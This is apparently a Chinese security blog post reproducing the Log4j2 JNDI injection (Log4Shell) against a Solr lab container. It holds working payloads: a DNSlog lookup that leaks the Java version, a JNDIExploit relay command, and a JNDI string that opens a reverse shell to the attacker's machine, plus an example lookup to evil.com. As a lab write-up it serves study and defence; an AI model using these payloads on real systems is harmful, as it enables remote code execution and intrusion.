网安区过年-Log4j2


Log4j2-2021


🌊漏洞原理

  • Apache Log4j 2 是Java语言的日志处理套件,使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过传入类似于${jndi:ldap://evil.com/example}的lookup用于进行JNDI注入,执行任意代码。
  • 由于Log4j2 作为日志记录基础第三方库,被大量Java框架及应用使用,只要用到 Log4j2 进行日志输出且日志内容能被攻击者部分可控,即可能会受到漏洞攻击影响。因此,该漏洞也同时影响全球大量通用应用及组件

🌏环境搭建

  • 先搭建漏洞环境,开启容器:
docker-compose build && docker-compose up -d

截图

  • 但是这里显示失败了,查看了一下发现之前的容器未删除,可能出现端口被占用的情况,所以这里销毁所有容器。
docker ps -aq
docker rm -f $(docker ps -aq)

截图

  • 访问web页面:

截图

🚀漏洞复现

  • 在DNSlog平台请求一个dns域名:7jut3u.dnslog.cn。

截图

  • 获取Java版本,构造数据包dnslog测试:
http://192.168.130.198:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.7jut3u.dnslog.cn}

截图

  • 查看dnslog:可以看到显示了Java版本1.8.0_172,存在漏洞。

截图

  • 中转机vps构造:
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.137.1 -p 6666

截图

  • 攻击机启动监听:

截图

  • 拓扑图如下:

截图

  • 构造如下payload来反弹shell:
http://192.168.130.198:8983/solr/admin/cores?action=${jndi:ldap://192.168.137.1:1389/Basic/ReverseShell/192.168.130.184/9999}

截图

  • 放行之后,中转机这边的结果如下:

截图

  • 拿到shell。

截图

  • 销毁环境:
docker rm -f $(docker ps -aq)
posted @ 2022-11-18 18:40  lockly  阅读(38)  评论(0编辑  收藏  举报